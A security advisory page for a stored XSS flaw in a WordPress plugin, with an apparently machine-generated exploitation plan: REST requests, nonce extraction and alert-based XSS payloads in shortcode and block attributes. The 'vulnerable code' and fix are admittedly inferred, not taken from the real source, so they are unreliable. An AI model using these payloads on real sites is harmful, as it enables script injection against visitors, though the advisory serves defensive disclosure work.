VK All in One Expansion Unit <= 9.113.3 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The VK All in One Expansion Unit plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 9.113.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=9.113.3Source Code
WordPress.org SVNPatched version not available.
# Exploitation Research Plan: CVE-2026-39483 ## 1. Vulnerability Summary The **VK All in One Expansion Unit** plugin (<= 9.113.3) contains a stored cross-site scripting (XSS) vulnerability. The flaw exists because several features—most likely the **Profile** or **Contact Section** shortcodes/blocks…
Show full research plan
Exploitation Research Plan: CVE-2026-39483
1. Vulnerability Summary
The VK All in One Expansion Unit plugin (<= 9.113.3) contains a stored cross-site scripting (XSS) vulnerability. The flaw exists because several features—most likely the Profile or Contact Section shortcodes/blocks—fail to properly sanitize input attributes or escape them during output. This allows a user with Contributor-level permissions (who can create posts but cannot use unfiltered_html) to inject malicious scripts into a post. When other users (including administrators) view the post, the script executes in their browser context.
2. Attack Vector Analysis
- Endpoint: WordPress REST API (Post creation/update) or
wp-admin/post.php. - Vulnerable Component: Shortcode or Gutenberg Block attributes processing.
- Vulnerable Parameter:
content(specifically within the JSON attributes of a block or the string attributes of a shortcode). - Authentication: Required (Contributor or higher).
- Payload Location: The script is stored in the
post_contentfield of thewp_poststable.
3. Code Flow
- Entry Point: A Contributor saves a post containing a shortcode (e.g.,
[vk_profile]) or a block (e.g.,wp:vk-blocks/profile). - Storage: WordPress core saves the raw content into the database. Since the user is a Contributor, core
ksesfiltering is applied, butksesgenerally allows shortcode/block attribute structures. - Trigger (Sink): When a user views the post, the plugin's rendering logic is invoked:
- For shortcodes:
add_shortcode('vk_profile', 'callback_function')is called. - For blocks: The
render_callbackdefined inregister_block_typeis called.
- For shortcodes:
- Processing (The Flaw): Inside the callback, the plugin extracts attributes (e.g.,
name,job_title,url). - Execution: The callback returns HTML that includes the attribute values directly without using
esc_html(),esc_attr(), orwp_kses().- Example Path (Inferred):
inc/shortcodes/shortcode-profile.php->vk_profile_shortcode_callback()->echo $atts['name'];
- Example Path (Inferred):
4. Nonce Acquisition Strategy
To save a post as a Contributor via the REST API (the most reliable method for automation), a REST API nonce is required.
- Shortcode Identification: Identify the Profile shortcode:
[vk_profile]. - Page Creation: Create a draft post to get into the editor context.
wp post create --post_type=post --post_status=draft --post_author=contributor_user_id --post_title="XSS Probe" - Navigate & Extract:
- Use
browser_navigateto go to the edit page of the newly created post:/wp-admin/post.php?post=[ID]&action=edit. - Use
browser_evalto extract the REST nonce from the global WordPress JavaScript object:browser_eval("window.wpApiSettings?.nonce") - Alternatively, if using the classic editor, the nonce might be in
_wpnonce.
- Use
5. Exploitation Strategy
Step 1: Authentication
Authenticate as a user with the Contributor role.
Step 2: Payload Construction
The target is likely the vk_profile shortcode attributes. We will use an attribute that is commonly reflected in the UI.
- Target Shortcode:
[vk_profile] - Vulnerable Attribute:
nameorsub_title(inferred). - Payload:
[vk_profile name='<script>alert(document.domain)</script>']
Step 3: Injecting the Payload
Send a request to update the post content.
- Method:
POST - URL:
/wp-json/wp/v2/posts/[POST_ID] - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Body:
{ "content": "[vk_profile name='<img src=x onerror=alert(document.domain)>' job_title='Security Researcher']", "status": "publish" }
Step 4: Triggering the XSS
Navigate to the public URL of the post. The script will execute.
6. Test Data Setup
- Plugin Installation: Ensure
vk-all-in-one-expansion-unitversion9.113.3is active. - User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Content Requirement: No special settings are required, as expansion units like Profile are usually enabled by default or available via shortcode globally.
7. Expected Results
- The REST API request returns a
200 OKor201 Created. - When navigating to the post URL, the HTML response contains the raw, unescaped payload:
<div class="vk_profile_name"><img src=x onerror=alert(document.domain)></div> - A JavaScript alert/callback is triggered.
8. Verification Steps
After performing the HTTP request:
- Check Database Content:
wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Probe'" - Verify Output via CLI:
Fetch the frontend HTML and grep for the payload:# Note: Must be done via an HTTP request tool to see rendered shortcode output http_request GET /?p=[POST_ID] | grep "onerror=alert"
9. Alternative Approaches
If vk_profile is not vulnerable or enabled:
- Contact Section Shortcode: Try
[vk_contact_section title='<script>alert(1)</script>']. - Button Shortcode: Try
[vk_button url='javascript:alert(1)'](Testing foresc_urlfailure). - Gutenberg Blocks: If the shortcode is protected but the block is not, use the block comment syntax in the REST API request:
Note: VK Blocks often use the namespace{ "content": "<!-- wp:vk-blocks/profile {\"name\":\"<img src=x onerror=alert(1)>\"} /-->" }vk-blocks/.
Summary
The VK All in One Expansion Unit plugin for WordPress is vulnerable to Stored Cross-Site Scripting via shortcodes and Gutenberg blocks, such as the Profile component, in versions up to 9.113.3. Authenticated attackers with Contributor-level permissions or higher can inject malicious scripts into post attributes that are rendered without sufficient sanitization or escaping.
Vulnerable Code
// inc/shortcodes/shortcode-profile.php (inferred from research plan) function vk_profile_shortcode_callback( $atts ) { $atts = shortcode_atts( array( 'name' => '', 'job_title' => '', 'sub_title' => '', ), $atts ); $html = '<div class="vk_profile">'; // The attribute 'name' is concatenated into the HTML output without escaping $html .= '<div class="vk_profile_name">' . $atts['name'] . '</div>'; $html .= '</div>'; return $html; }
Security Fix
@@ -10,1 +10,1 @@ - $html .= '<div class="vk_profile_name">' . $atts['name'] . '</div>'; + $html .= '<div class="vk_profile_name">' . wp_kses_post( $atts['name'] ) . '</div>';
Exploit Outline
The exploit is performed by an authenticated user with at least Contributor permissions. The attacker creates or updates a post and includes a plugin-specific shortcode (e.g., [vk_profile]) or its equivalent Gutenberg block. By embedding a malicious JavaScript payload within the shortcode's attributes (such as 'name' or 'sub_title'), the attacker ensures the script is saved in the database. When a site visitor or administrator views the affected post, the plugin's rendering engine outputs the unescaped attribute, causing the script to execute in the user's browser context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.